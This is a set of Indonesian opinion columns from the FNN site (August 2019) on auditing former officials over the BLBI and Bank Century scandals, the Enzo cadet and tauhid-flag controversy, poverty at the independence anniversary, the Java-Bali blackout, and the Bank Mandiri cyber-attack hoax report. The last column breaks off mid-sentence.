Audit dan pemeriksaan kekayaan itu akan membersihkan para mantan pejabat negara dari sangkaan negatif publik. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Sambil merenungkan makna kemerdekaan Indonesia yang ke-74, pantas juga kita diskusikan sangkaan negatif terhadap para mantan presiden, wapres, menteri, dan para pejabat tinggi lainnya. Yaitu, kecurigaan terhadap harta kekayaan mereka. Ada baiknya sangkaan negatif itu segera dilenyapkan. Untuk menghilangkan kecurigaan itu, tampaknya perlu diusulkan agar kekayaan para mantan pejabat tinggi diaudit. Deperiksa, diselidiki secara detail. Dengan langkah audit ini, para mantan pejabat tinggi tidak lagi menjadi sasaran kecurigaan dan gosip. Sebagai contoh, semua rekening bank mereka dan sanak keluarga mereka diperiksa. Semua tansaksi diteliti dan ditelusuri oleh Pusat Pelaporan dan Analisis Transaksi Keuangan (PPATK). Bersama-sama Komisi Pemberantasan Korupsi (KPK), PPATK bisa mengungkap semua transaksi. Bisa dipastikan publik sangat mendukung. Dan para mantan pejabat pun pasti lega. Karena mereka bisa menunjukkan integritas dan nama baik mereka. Audit dan pemeriksaan kakayaan itu akan membersihkan para mantan pejabat negara dari sangkaan negatif publik. Begitu pula dengan para mantan menteri, pejabat setingkat menteri, dirut BUMN, dlsb. Setelah audit menyatakan mereka bersih, maka tim penyelidik khusus (TPK) bisa mengumumkan kepada publik bahwa kekayaan para mantan pejabat tinggi negara, tidak perlu diragukan. Rekening mereka dan sanak keluarga mereka sudah periksa. Terbukti bersih dari transaksi yang mencurigakan. Dengan begini, masyarakat tahu bahwa orang-orang yang disangsikan harta kekayaannya ternyata tidak bersalah. Mengapa audit ini perlu dilakukan? Kebijakan pemerintah untuk memulihkan perekonomian dan keuangan akibat krisis moneter 1998, sangat rentan untuk dikorupsi. Salah satunya adalah proses reformasi dan penyelamatan sektor perbankan. Waktu itu, banyak bank yang terancam gulung tikar. Negara mengambil tindakan untuk menertibakan sistem perbankan dan menolong bank-bank yang sedang kolaps. Masa-masa pemerintahan para presiden yang silih berganti setelah kejatuhan Pak Harto, adalah periode yang sangat labil. Sangat banyak peluang korupsi dan penyalahgunaan wewenang. Sebagai contoh adalah kebijakan Presiden Megawati Soekarnoputri ketika menerbitkan Instruksi Presiden Nomor 8 Tahun 2002 tentang penerbitan Surat Keterangan Lunas (SKL) untuk obligor BLBI (Bantuan Likuiditas Bank Indonesia). BLBI dikeluarkan untuk membantu bank-bank yang mengalami kesulitan uang (likuiditas) menyusul krisis moneter 1997-1998 itu. Untuk memantau BLBI, pemerintah membentuk Badan Penyehatan Perbankan Nasional (BPPN) beberapa bulan sebelum pengunduran diri Presiden Soeharto pada 21 Mei 1998 Instruksi Presiden (Inpres) nomor 8 Tahun 2002 yang diteken Megawati berakibat fatal, kata mantan Kepala Bappenas Kwik Kian Gie. “SKL sangat berbahaya dan akan menimbulkan persoalan di kemudian hari. Akan mengakibatkan kerugian negara yang sangat besar," kata Kwik saat bersaksi dalam sidang perkara korupsi BLBI di Pengadilan Tindak Pidana Korupsi Jakarta, Kamis, 5 Juli 2018. Kwik bersaksi untuk terdakwa eks-Kepala BPPN, Syafruddin Arsyad Temenggung, yang kemudian dihukum 15 tahun penjara. Namun, anehnya, Syafruddin Temenggung akhirnya dinyatakan bebas oleh MA setelah menerima permohonan kasasi dari terpidana. Tetapi, Syafruddin tetap disebut melakukan korupsi. KPK mendakwa Syafruddin telah merugikan negara Rp 4.58 triliun lewat penerbitan SKL. Kwik, sebagai menteri yang berintegritas di kabinet Megawati, tiga kali menentang penerbitan Inpres 8/2002. Tapi, kata Kwik, akhirnya dia dikalahkan oleh suara para menteri lain yaitu Menko Perekonomian Dorodjatun Kuntjorojakti, Menteri Keuangan Boediono (yang kemudian menjadi wapres di era SBY), Menteri BUMN Laksamana Sukardi dan Jaksa Agung MA Rahman. Kwik, tampaknya, punya firasat yang kuat tentang kemungkinan peluang korupsi di balik SKL untuk para obligor BLBI. Sebab, SKL dapat saja diterbitkan untuk obligor (penerima BLBI) yang pura-pura kooperatif tetapi sebetulnya mereka penipu. Audit BPK menemukan 95% dana BLBI atau sekitar 144 triliun sulit dipertanggungjawabkan. Ternyata, dalam penyelidikan ulang kasus BLBI, pihak KPK bisa membuktikan korupsi sebesar 4.5 triliun rupiah. Kwik Kian Gie benar. Sekarang ini, publik masih ingin mengetahui secara tuntas dan transparan apakah Inpres 8/2002 itu memberikan keuntungan pribadi atau tidak kepada para pejabat tinggi waktu itu. Khususnya kepada para menteri yang “mengeroyok” Kwik di sidang kabinet. Atau, apakah Syafruddin Temenggung sendirian yang mengantungi korupsi BLBI sebesar 4.5 triliun itu? Kelihatannya, kecil kemungkinan Syafruddin menggarap sendirian uang BLBI sebanyak 4.5 triliun. Sangat tidak mungkin. Jika demikian, apakah para pejabat tinggi yang disebut-sebut mendukung penerbitan Inpres 8/2002 patut disangka ikut menikmati korupsi BLBI? Kita berharap KPK akan terus menggiring kasus ini ke sana. Jelas sekali ada suasana yang sangat “menggairahkan” di sekitar penerbitan Inpres 8/2002 tsb. Lantas, bagaimana dengan posisi Presiden Megawati di pusaran kasus korupsi BLBI? Wallahu a’lam. Yang pasti, kita menghendaki agar Bu Mega dinyatakan bebas dari “virus BLBI”. Yakni, dinyatakan tidak terlibat penyelewenangan dana BLBI yang dikucurkan kepada bank-bank swasta yang mengalami masalah waktu itu. Dalam rangka menyatakan bebas “virus BLBI” itulah kita mendorong agar Bu Megawati melakukan pemeriksaan sukarela di KPK. Pemeriksaan di KPK itu termasuklah meneliti dengan cermat semua rekening atas nama Bu Mega dan sanak keluarga dekat beliau. Dengan begini, akan bisa dipastikan Bu Mega tidak tersangkut. Sekali lagi, ini penting dilakukan agar sangkaan-sangkaan negatif terhadap Bu Mega terkait kasus korupsi BLBI, bisa dituntaskan. Langkah ini akan memberikan kebaikan kepada Bu Mega sendiri. Adik beliau, Ibu Rachmawati, termasuk yang meminta agar KPK memeriksa Bu Mega. Kalau penyelidikan dilaksanakan, maka semua kekayaan finansial beliau bisa dipastikan statusnya. Dalam skandal BLBI, juga perlu diperiksa jejak transaksi keuangan mantan Menko Perekonomian Dorodjatun Kuntjoro-jakti, mantan Menteri BUMN Laksamana Sukardi, dan mantan Jaksa Agung MA Rachman. Tidak hanya Megawati dan para pejabat di era beliau yang perlu diteliti sejarah keuangan mereka. Rakyat juga ingin agar mantan Presiden SBY pun merelakan diri untuk diperiksa semua rekening bank pribadi beliau dan seluruh sanak keluarga. Ini sangat baik dilakukan agar keterkaitan nama Pak SBY dengan skandal Bank Century (BC) bisa diselesaikan tuntas untuk selamanya. Sehingga, tidak perlu ada lagi keraguan terhadap kekayaan finansial dan kekayaan aset beliau. Dalam kasus korupsi BC, Robert Tantular (RT) terbukti di pengadilan sebagai pihak yang mencuri dana talangan BC sebesar ratusan miliar rupiah. RT sendiri menegaskan bahwa dia tidak tahu ke mana dana FPJP (fasilitas pinjaman jangka pendek) sebanyak 6.7 triliun itu mengalir. Seperti dikutip koran online Kompas-com edisi 24 April 2014, RT meminta agar dana talangan itu diusut tuntas. "Rp 6,7 triliunnya ke mana dong? Ini yang enggak pernah dibuka," ujar Robert saat bersaksi di sidang terdakwa mantan Deputi Gubernur Bank Indonesia, Budi Mulya, di Pengadilan Tindak Pidana Korupsi, Jakarta, 24/4/2014. Yang juga perlu diselidiki adalah kekayaan mantan Wapres Boediono. Sebab, beliau menjabat sebagai Gubernur Bank Indonesia (BI) ketika terjadi skandal Bank Century. Dengan cara audit transparan itulah kita, mungkin, bisa melepaskan diri dari bayang-bayang skandal BLBI dan Bank Century. Untuk selamanyna. Ini tidak bisa dianggap remeh. Rakyat akan mengenang mereka semua dengan memori yang buruk kalau tidak ada penelitian tuntas yang mengukuhkan nama baik mereka.*** (18 Agustus 2019)

KSAD Akhiri Polemik, Mahfud Sayembara Tauhid!

Masalah Enzo makin melebar setelah Mahfud meminta supaya TNI memecatnya dari Akmil. Mahfud lupa bahwa Bendera Tauhid itu adalah Bendera Rasulullah yang selalu ada dalam setiap bacaan sholat. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN -Apresiasi patut diberikan kepada KSAD Jenderal TNI Andika Perkasa. Akhirnya TNI telah memutuskan untuk mempertahankan calon perwira Enzo Zenz Allie. Menurut Jenderal Andika, taruna Akmil yang dipersoalkan karena sempat dicurigai terlibat HTI ini, lulus dalam tes obyektif lanjutan yang dilakukan untuk mengukur kadar kesadaran bernegara Enzo. “Kami, Angkatan Darat, memutuskan, untuk mempertahankan Enzo Zenz Allie dan semua taruna Akademi Militer yang kami terima beberapa waktu lalu, sejumlah 364 orang,” ujar Jenderal Andika di Mabes TNI AD, Jakarta, Selasa, 13 Agustus 2019. Jenderal Andika menyampaikan, berdasarkan hasil tes obyektif lanjutan, indeks moderasi bernegara Enzo adalah 5,9 dari tujuh. Enzo, seorang WNI yang juga keturunan Perancis, mendapat persentase skor 84 persen. “Enzo (ketika) dilihat dari indeks moderasi bernegara, itu ternyata kalau dikonversi menjadi persentase, itu memiliki nilai 84 persen,” lanjut Jenderal Andika, seperti dilansir Viva.co.id, Selasa (13/8/2019). Menurut Jenderal Andika, tes obyektif lanjutan yang dilakukan pada Enzo, bisa dipastikan akurasi dan validitasnya. TNI telah bertahun-tahun juga menggunakan instrumen tes untuk memastikan kesadaran bernegara para taruna. “Akurasi, validasi, bisa dipertanggungjawabkan, karena sudah digunakan beberapa tahun,” ujar Jenderal Andika. Nama Taruna Enzo Zenz Allie menjadi viral ketika video percakapan menggunakan bahasa Prancis dengan Panglima TNI Marsekal TNI Hadi Tjahjanto diunggah di medsos. Fisiknya yang rupawan membuat blesteran Prancis-Indonesia itu akhirnya banyak mendapat sorotan. Video yang diunggah Puspen TNI dalam akunnya di Instagram menyebut bahwa Enzo adalah remaja yang berbakat. Putra almarhum Jean Paul Francois-Siti Hajjah Tilaria itu menguasai lima bahasa: Indonesia, Arab, Inggris, Prancis, dan Italia. Remaja 18 tahun itu juga mengantongi sejumlah penghargaan lari dan renang serta memiliki fisik kuat. Berdasarkan uji seleksi, dia dinyatakan lulus seleksi Akmil 2019. Namun, tak lama setelah itu, muncul foto Enzo dengan membawa bendera Tauhid. Foto Enzo membawa bendera Tauhid itu kemudian diunggah seorang netizen. Bendera yang “diindentikkan” dengan Bendera HTI yang dibawa cowok tampan berprestasi ini pun seketika menjadi kontroversi. Pakar Hukum Tata Negara Prof. Mahfud MD yang juga anggota Dewan Pengarah BPIP ini sampai berkomentar bahwa TNI kecolongan dengan menerima Enzo sebagai salah satu dari 364 Taruna Akmil yang lolos seleksi. Masalah Enzo makin melebar setelah Mahfud meminta supaya TNI memecatnya dari Akmil. Mungkin Mahfud lupa bahwa Bendera Tauhid itu adalah Bendera Rasulullah yang selalu ada dalam setiap bacaan sholat. Jadi, jauh sebelum HTI terbentuk, kalimat tauhid itu sudah ada sejak zaman Rasulullah. Yang terpapar paham radikal itu sebenarnya adalah yang berani membakar bendera tauhid, sebab siapapun, yang anti agama itu cuma paham komunis anti Pancasila. Kepala Sekolah Ponpes Al Bayan, Deden Ramdhani, juga membantah blasteran Prancis itu anggota HTI. Deden mengatakan, pesantren yang diasuhnya juga bercorak ahlussunnah wal jamaah (aswaja) serta menyatakan setia kepada NKRI. “Sebagai lembaga tentu pemahaman kami ahlussunnah wal jamaah dan NKRI harga mati,” kata Deden Ramdhani saat ditemui wartawan di Anyer, Serang, Banten, Rabu (7/8/2019). Deden menilai santrinya tak mungkin masuk Akmil jika punya keterkaitan dengan HTI. Sebab, seleksi di TNI begitu ketat. “Enzo sudah jelas Pancasilais dan cinta NKRI,” ujarnya. Ibunda Enzo, Siti Hadiati Nahriah, bahagia putranya lolos seleksi Akmil TNI. Karena, dia mengatakan menjadi prajurit TNI adalah cita-cita Enzo sejak kecil. Sayembara Mahfud Polemik Enzo telah membuat Mahfud MD akhirnya membuat sayembara. Di akun sosmed twitter-nya Mahfud mentwit sayembara “Mahfud MD Bakal Kasih Rp 10 Juta ke Pihak yang Bisa Buktikan Dirinya Anti-Bendera Tauhid”. Adalah Prof. Katana Suteki yang langsung merespon tantangan Mahfud. Suteki justru tantang balik Mahfud yang merasa yakin tidak pernah mempermasalahkan Bendera Tauhid. Menurut Suteki, ia sejak awal tidak pernah mempersoalkan Bendera Tauhid ini. “Kalau saya sendiri memang dari awal tidak pernah mempersoalkan Bendera Tauhid ini, tapi saya malah dituduh terpapar radikalisme dan terkait organisasi radikal. Piye jal? Pusing kan?” begitu komentar Suteki dalam akun FB-nya. “Sebagai bukti bahwa Prof Mahfudz tidak mempersoalkan Bendera Tauhid, apakah kira-kira beliau sebagai Pimpinan BPIP sanggup menyandang Bendera Tauhid di pundaknya seperti yang saya lakukan berikut ini?” tantang Suteki. Mestinya berani karena tidak ada persoalan dengan Bendera Tauhid. Mahfud ditantang, bila berani menyandang Bendera Tauhid di pundaknya seperti yang Suteki lakukan, “Akan saya “aturi hadiah” sebesar Rp 1.000.000,00 (satu juta rupiah) – maaf sesuai dengan kemampuan saya saat ini – tunai.” Menurut Suteki, apakah dengan menyandang bendera Tauhid ini lalu dirinya akan dikatakan Terpapar Radikalisme? “Jika saya berdalih pada pendapat Prof Mahfudz, seharusnya dengan menyandang Bendera Tauhid ini tidak boleh dikatakan bahwa Prof Suteki terpapar tadikalisme. Begitu kan logika berpikir yang benar?” tegas Suteki. Sebelumnya, seorang warganet juga menantang Mahfud untuk mengibarkan Bendera Tauhid dengan imbalan Rp 18 juta. Awalnya, si pemuda ini menantang Mahfud dengan nilai sebesar Rp 12 juta, lebih besar Rp 2 juta daripada sayembara Mahfud. “Sayembara pak, sy ksh 12jt kalau bapak pake pose begini. Saya yakin bapak tidak anti kalimat tauhid. Gpp pak, sy lagi kere... Tp bslah saya carikan 12jt asal bapak buktikan dgn begini.. jadi clear bapak tdk anti kalimat tauhid,” tulis @ArLex_Wu di akun twitternya. Ia kemudian mentwit lagi jika total sayembara menjadi Rp 18 juta. “Pak @mohmahfudmd total sayembara jadi 18jt. Ada kawan2 yg ikutan nyumbang. Piye pak?” tulisnya meralat tawaran nilai sayembara yang disampaikan sebelumnya. Bahkan, belakangan, ada juga yang sampai berani menawarkan sayembara dengan nilai yang setara dengan gaji Mahfud di BPIP lebih dari Rp 100 juta. Semoga Mahfud segera sadar diri bahwa tidak sepatutnya Bendera Tauhid disayembarakan. Rasanya tidak perlu cari bukti “Dirinya Anti-Bendera Tauhid”. Karena setiap Muslim ketika meninggal nanti kerandanya pasti ditutupi kain bertuliskan kalimat Tauhid! Dan, untungnya Jenderal Andika sudah mengakhiri polemik Enzo. Bravo TNI! ***

Siapa Bilang Mereka Sudah Merdeka?

Masih banyak yang meminta-minta di jalanan. Masih banyak yang terpaksa menghuni kandang hewan. Makan seadanya. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Sebagaimana ritual mewah-meriah setiap tahun di Istana Negara, Istana Gubernur, Istana Bupati, Istana Walikota, hari ini juga akan berlangsung peringatan kemerdekaan RI ke-74. Dengan segala tayangan kehebatan segelintir orang. Mereka itulah yang sudah lama dan sudah banyak menikmati kemerdekaan. Mereka datang ke Istana dengan kendaraan supermewah. Dengan busana serba baru dan ‘high class’. Tas tangan puluhan juta. Sepatu belasan juta. Jam tangan ratusan juta. Mereka telah lama menikmati kemerdekaan di atas penderitaan rakyat miskin. Ada yang menyandang sebutan konglomerat, pengusaha besar, presiden, mantan presiden, ketua DPR, menteri, mantan menteri, ketua MA, ketua MK, dirut BUMN, komisaris BUMN, gubernur, bupati, anggota badan-badan negara, para petinggi berbintang yang memiliki piaraan, dan banyak lagi. Mereka memiliki kekayaan tunai miliaran, belasan miliar, puluhan miliar, ratusan miliar, sampai triliunan. Mereka itulah yang sudah merdeka. Merdeka dari kekurangan. Merdeka dari kesulitan hidup. Yang telah lama merdeka dari panas terik matahari. Merdeka menikmati fasilitas perawatan medis kelas dunia. Merdeka menggunakan pesawat jet pribadi, terbang dengan first class, business class. Duduk-duduk di lounge bandara dengan sajian makanan-minuman serba mewah dan melimpah-ruah. Merekalah yang telah mengumpulkan kekayaan pribadi dengan berbagai cara. Cara yang halal, setengah halal, atau dengan segala cara. Banyak mereka yang mengumpulkan kekayaan dengan cara yang haram dan sangat tidak terhormat. Merekalah yang bisa menyekolahkan anak-anak mereka ke luar negeri. Membeli rumah atau apartemen mewah di kota-kota mahal. Memiliki rekening bank dalam dollar, pound-sterling, euru, yuan, yen, dll. Berliburan secara reguler dengan fasilitas serba luks. Merekalah yang sudah lama merdeka. Telah lama merdeka menipu rakyat, memeras rakyat, menzalimi rakyat. Tetapi, setelah 74 tahun, masih banyak rakyat Indonesia yang belum merdeka. Belum merdeka dari kemiskinan. Belum merdeka dari kesulitan hidup dan himpitan ekonomi. Belum merdeka dari profesi pemulung sampah. Belum merdeka dari status gelandangan. Masih banyak yang meminta-minta di jalanan. Masih banyak yang terpaksa menghuni kandang hewan. Makan seadanya. Tidak bisa menikmati air bersih. Masih banyak yang harus berdagang asongan pada usia sekolah. Atau terpaksa putus sekolah demi membantu keluarga. Masih banyak yang belum merdeka di tengah kemeriahan upacara dan acara peringatan hari kemerdekaan 17 Agustus 2019 ini. Petani kecil, petani buruhan, petani sawit dan karet satu hektaran atau lebih kecil lagi, masih belum merdeka dari kesewenangan harga. Semua petani kecil masih belum merdeka dari apa yang disebut dengan bangga sebagai ‘mekanisme pasar’ oleh para liberalis-kapitalis. Silih berganti pemeritah membanggakan prestasi mereka. Ada yang bangga dengan proyek-proyek infrastruktur utangan. Bangga dengan tol laut dan tol darat yang sama sekali tidak terkait dengan rakyat miskin. Bangga mengundang investor RRC yang membawa tenaga kerja mereka sendiri. Bangga dengan BUMN yang seharusnya memakmurkan rakyat tetapi malah menyusahkan. Ada yang bangga membantu bank-bank pengkhianat dengan uang BLBI, tapi akhirnya ratusan triliun lenyap begitu saja dan kasusnya dianggap kedaluarsa. Ada yang bangga membantu Bank Century 6.7 tirliun tapi ternyata sebagian besar ditilap oleh penerima bantuan. Hari ini, rakyat miskin tidak berubah. Mereka tak mampu meng-upgrade dan meng-update status hidup mereka. Mereka masih bergelut di sekitar beras 2 kilo sehari. Masih terus kucing-kucingan dengan penagih sewa rumpet (rumah petak) 600 ribu sebulan di daerah atau sejuta di Jakarta. Itulah rakyat Anda, wahai para penguasa yang sedang merayakan hari kemerdekaan. Mereka itulah saudara sebangsa dan setanah air Anda, wahai para konglomerat, wahai para pengusaha kaya-raya. Hari ini, sebagai basa-basi nasionalisme, kalian teriakkan “Merdeka!” dengan kepalan tinju. Tapi mereka, rakyat kecil itu, seseungguhnya belum merdeka seperti kalian. Siapa bilang mereka sudah merdeka? (17 Agustus 2019)

Tata Kelola Kelistrikan Nasional

Pemerintah sudah menetapkan angka 21 juta pelanggan yang terkena dampak pemadaman listrik massal ini. Sebagian tentu terhenti kegiatan ekonominya dan kerugian mereka ada yang bisa dihitung. Namun, tidak semuanya bisa diselesaikan dengan pendekatan hitungan pemakaian KWH. Oleh Tamsil Linrung Wakil Ketua Komisi VII DPR Anggota DPD RI terpilih Periode 2019-2024 Jakarta, FNN - Selama belasan jam listrik di Jakarta, Jawa Barat dan Banten padam, sehingga wilayah ini disekap gelap dan sinyal seluler menghilang. Tak mengherankan bila masyarakat teriak. Deretan peristiwa yang terjadi pada Minggu, 4 Agustus 2019 lalu tampaknya tak bakal terlupakan. Bagaimana bisa tiba-tiba aliran listrik Perusahaan Listrik Negara (PLN) terputus tanpa pemberitahuan? Industri, pelaku ekonomi kerakyatan atau Usaha Kecil dan Menengah (UKM), hingga masyarakat rumah tangga dirugikan atas kejadian ini. Aneka respon dilontarkan pasca kejadian tersebut, bahkan Presiden Joko Widodo (Jokowi) ikut meluapkan kemarahannya. Presiden menginstruksikan agar PLN membenahi sistem kelistrikan dan yang tak kalah ditekankan adalah ganti rugi kepada para pelanggan atau konsumen. Namun, hal yang menjadi pertanyaan banyak orang di luar sana adalah bagaimana skema penebusan kelalaian yang merugikan secara masif ini? Solusi yang ditawarkan pemerintah memang sudah ditentukan. Terdapat acuan yang mengatur ganti rugi tersebut, yakni Undang-Undang (UU) No. 30 tahun 2009 tentang Ketenagalistrikan. Aturan ini dijabarkan dalam Peraturan Menteri Energi dan Sumber Daya Mineral (ESDM) No. 27 tahun 2017. Pasal 6 beleid ini mengatur secara teknis dan rigid. Kendati begitu, kita perlu menganalisis lebih jauh terkait landasan penghitungan kerugian ini, apakah sudah mencerminkan rasa keadilan atau tidak? Perlu digarisbawahi bahwa karakteristik konsumen listrik di Indonesia beraneka ragam. Di antara mereka ada yang sangat tergantung aktivitasnya dengan pasokan listrik. Pemerintah sudah menetapkan angka 21 juta pelanggan yang terkena dampak pemadaman listrik massal ini. Sebagian tentu terhenti kegiatan ekonominya dan kerugian mereka ada yang bisa dihitung. Namun, tidak semuanya bisa diselesaikan dengan pendekatan hitungan pemakaian KWH. Cara yang mendekati rasa keadilan bagi publik adalah mencacah jumlah konsumen yang terhenti kegiatan ekonominya, terutama para pelaku UKM dan selanjutnya menghitung berapa kerugian materiilnya. Selain itu, secara kualitatif tak sedikit masyarakat terdampak, namun tidak terkait dengan kegiatan ekonomi. Misalnya yang terganggu mobilitas, komunikasi atau aktivitasnya. Kerugian yang bersifat imateriil. Pertanyaan kembali muncul, apakah mereka yang terdampak secara imateriil mendapat ganti rugi? Lantas bagaimana mengukur kerugian mereka? Hal ini tentu harus menjadi perhatian serius demi asas keadilan. Kerugian imateriil ini tentu tidak dapat dikompensasi dengan pendekatan KWH. Kalkulasi kerugian tidak bisa dipatok dengan pendekatan rigid. Namun, sebagai konsumen, mereka berhak dan wajar menentukan besaran kerugian. Nilainya tak bisa ditentukan oleh UU 30/2009 tersebut. Ringkasnya, kerangka solusi penggantian akibat pemadaman listrik yang saat ini jadi acuan tidak adil jika hanya menghitung masa henti atau konsumsi KWH. Untuk itu, atas nama keadilan dan kemanusiaan, PLN harus memperlihatkan pertanggungjawaban yang proporsional. Pijakan pertanggungjawaban harus merefleksikan semangat keadilan dan profesionalisme sebuah institusi yang menghargai konsumennya. Lebih dari itu semua, persoalan pemadaman listrik atau black out ini merupakan tantangan agar PLN berpikir jauh ke depan. Perusahaan pelat merah ini harus memastikan problem serupa tidak terulang lagi. Pasalnya, sejarah mencatat bahwa pada tahun 2002 dan 2005 pernah terjadi pemadaman listrik total di Jawa dan Bali selama enam jam. Artinya, ini repetisi. Dari kejadian tersebut mestinya PLN sudah menyiapkan back up plan sehingga tak lagi berpikir konvensional atau gagap saat kejadian seperti ini berlangsung Otonomi energi Pelajaran berharga dari kasus ini adalah terkait tata kelola energi nasional. Memang kita masih berkutat pada masalah klasik, yakni soal tata kelola energi yang masih amburadul dan belum dirancang untuk melangkah ke masa depan. Ketika utilisasi listrik menyergap semua sektor kehidupan, ternyata Indonesia masih menghadapi rezim listrik byarpet. Lemahnya, tata kelola energi nasional ini terlihat misalnya dari progres pengembangan bauran energi ke energi baru terbarukan (EBT) yang belum begitu menggembirakan. Padahal, EBT adalah masa depan energi dunia. Bangsa-bangsa di seluruh dunia berlomba beralih ke energi yang tetap menjaga langit biru ini. Bahkan, bangsa sekelas China sekalipun, kontributor muntahan emisi karbon terbesar di dunia ini tercatat sebagai investor terbesar di sektor EBT. Sebesar 45% investasi energi terbarukan global tercatat berada di negeri Tirai Bambu tersebut. Kemudian, bagaimana dengan Indonesia yang memiliki potensi pengembangan EBT yang amat besar? Mulai dari tenaga air, angin, panas bumi, hingga surya Indonesia memilikinya. Pemerintah telah menyusun Dokumen Rencana Umum Energi Nasional (RUEN) yang tertuang dalam Peraturan Presiden (Perpres) Nomor 22 Tahun 2017 yang mencanangkan penggunaan EBT di Indonesia sebesar 23% dari total bauran energi nasional sampai tahun 2025. Harapannya bisa meningkat menjadi 31% pada 2050. Ini merupakan realisasi dari Paris Agreement, yakni persetujuan yang disepakati dalam Konferensi Perubahan Iklim Perserikatan Bangsa-Bangsa (PBB) tahun 2015 di Paris. Paris Agreement efektif berlaku pada 2020 hingga 2030. Ketika itu, kami di pimpinan Komisi VII menjadi bagian dari Konferensi PBB untuk Perubahan Iklim (COP21) di Paris. Salah satu poin kesepakatan adalah upaya menekan peningkatan suhu bumi di atas dua derajat celsius. Isu ini menjadi perhatian semua negara. Perubahan iklim ini tentu menarik. Apalagi, akhir-akhir Ibu Kota kita yaitu DKI Jakarta jadi sorotan karena kualitas udaranya yang ternyata sangat tercemar. Polusi dan pemadaman listrik adalah bukti konkret bahwa masalah tata kelola energi kita memang masih menghadapi jalan terjal yang juga terkait erat dengan isu perubahan iklim. Di sektor EBT yang diharapkan jadi garda terdepan, saat ini baru terealisasi 12,3% untuk pembangkit listrik. Padahal, bila melihat sumber-sumber EBT yang tersebar di berbagai wilayah, target ini mestinya bisa dicapai lebih cepat. Bahkan, memungkinkan pusat pasokan energi terdistribusi lebih merata ke daerah. Dampak turunan yang kita harapkan adalah daerah punya kemandirian energi. Bahkan bila EBT sudah jadi rezim kelistrikan di Indonesia dalam beberapa tahun ke depan, pengelolaan energi bisa saja diotonomkan ke daerah. Tujuannya, tata kelola energi terpusat yang biasa dikeluhkan oleh daerah bisa teratasi dengan adanya otonomi energi. Untuk mewujudkan terobosan tersebut, tentu harus ada penyesuaian regulasi. Tapi, ini gagasan menarik agar daerah terpacu mengeksplorasi sumber energi alternatif yang memungkinkan bisa dipasok ke daerah lain. Dengan demikian, kemandirian energi dapat terwujud. and

Gimana Kalau Serangan Siber Mandiri Ternyata Benar Adanya?

Sampai saat ini peristiwa “blackout” di Bank Mandiri juga tidak ada kelanjutannya. Padahal kabarnya Menteri BUMN Rini Soemarno dan pihak OJK telah memanggil Direksi Bank Mandiri. Tidak jelas, apakah pemanggilan itu terkait dengan sanksi atau siasat untuk meredam gejolak di publik. Oleh: Mochamad Toha (Wartawan Senior) Jakarta, FNN - Sebuah website yang tulisan opininya banyak diisi oleh wartawan senior dari berbagai media bernama fnn.co.id (FNN-Forum News Network) dilaporkan ke Direktorat Reserse Kriminal Khusus Polda Metro Jaya oleh Bank Mandiri. FNN dilaporkan pihak Mandiri karena diduga menyebarkan berita hoax terkait Bank Mandiri yang akan bangkrut dan mengalami kerugian mencapai Rp 9 triliun. Inilah yang kemudian menyebar di media sosial dan grup-grup WA. “Kami menyatakan bahwa 100 persen berita yang terpampang di FNN.xx.id itu adalah berita hoax dan tidak ada yang kami alami seperti yang disampaikan,” kata Senior Vice President Bank Mandiri Rohan Hafas, Kamis (15/8/2019). Melansir Detik.com, Kamis (15 Agustus 2019, 14:20 WIB), Rohan menyebut laporan sudah dibuat pada hari Rabu (14/8/2019) lalu. Berita hoax yang menyebut Bank Mandiri rugi dan akan bangkrut merugikan perusahaannya. Sebab, kepercayaan nasabah ataupun masyarakat bisa berkurang akibat pemberitaan tersebut. “(Kerugian Bank Mandiri) kepercayaan masyarakat. Kepercayaan masyarakat paling penting dari industri perbankan,” ungkap Rohan. “Karena dengan kepercayaan itulah orang nabung di sebuah bank kan,” lanjut Rohan. Ia menyebut berita dari media online itu pertama kali muncul pada Selasa (13/8/2019). Berita itu lalu di-repost di media sosial Facebook oleh sejumlah akun. Isinya, “Bank Mandiri mengalami kerugian ada serangan cyber sehingga mengakibatkan kerugian Rp 9 triliun,” kata Rohan. “Kemudian dari dampaknya adalah Bank Mandiri akan bangkrut dan diambil oleh China,” lanjutnya. “Itu berita garis besarnya seperti itu dan nggak tahu motifnya, tapi itu sangat nggak ada dasar apa pun, tidak ada kerugian dialami dan tidak ada serangan cyber, tidak ada China yang ambil Bank Mandiri,” sambung Ronan. Dalam kesempatan yang sama, Kabid Humas Polda Metro Jaya Kombes Argo Yuwono menyebut pihaknya sudah menerima laporan itu. Pihaknya hari ini juga sudah memeriksa saksi dari pihak Bank Mandiri. “Ini pernyataan kepolisian, sudah kita terima laporannya dan kita lakukan penyelidikan. Nanti kita klarifikasi terlapor seperti apa dan saksi-saksi yang lain dan barbuknya seperti apa,” kata Argo. Latar belakang dari keluarnya pernyataan Rohan ini adalah tulisan berjudul “Dijebol Siber Rp 9 Triliun, Bank Mandiri Segera Bangkrut?” yang ditulis oleh Luqman Ibrahim Soemay di fnn.co.id, Selasa (13/8/2019). Dalam tulisan tersebut, disebutkan bahwa Bank Mandiri memang sedang menuju liang kebangkrutan. Informasi ini didasarkan pada pernyataan sumber di internal Bank Mandiri yang tidak disebutkan identitasnya di dalam tulisan. Ia juga menyebut, kebangkrutan ini terjadi karena secara teknis keamanan, sistem Informasi dan Teknologi (IT) Bank Mandiri sangat tidak mungkin untuk bisa dipulihkan. Kejadian ini pun dinilai murni akibat serangan dari dalam Bank Mandiri sendiri. Namun, yang perlu dicatat, mengutip berita Tempo.co, Rabu (14/8/2019), dalam tulisan ini sama sekali tidak disebutkan Bank Mandiri akan diambil Cina, seperti yang disampaikan Rohan. Di sini Rohan justru menyebar hoax soal “akan diambil Cina”. Menurut Rohan, Bank Mandiri merupakan bank milik pemerintah terbesar di Indonesia dan diawasi langsung oleh OJK dan BI. “Dengan kondisi ini, tidak mungkin segala kejadian tidak dimonitor dan diawasi oleh kedua institusi tersebut,” ujarnya. Saat ini, ia menyebut Bank Mandiri akan berkoordinasi dengan kepolisian untuk menindak pelaku penyebaran isu itu. Bank Mandiri pun mengimbau masyarakat tidak ikut menyebarkan berita bohong karena bisa melanggar UU Nomor Nomor 19 Tahun 2016 tentang Informasi dan Transaksi Elektronik atau yang biasa disebut UU ITE. Raibnya 9 Triliun? Mengutip fnn.co.id, Raibnya saldo nasabah Bank Mandiri dan blackout-nya PLN Jawa-Bali bukan perkara yang saling bebas. Tetapi saling berkelindan. Namun, tulisan ini hanya mau mengungkap keanehan pada Bank Mandiri. Keanehan utamanya adalah sampai 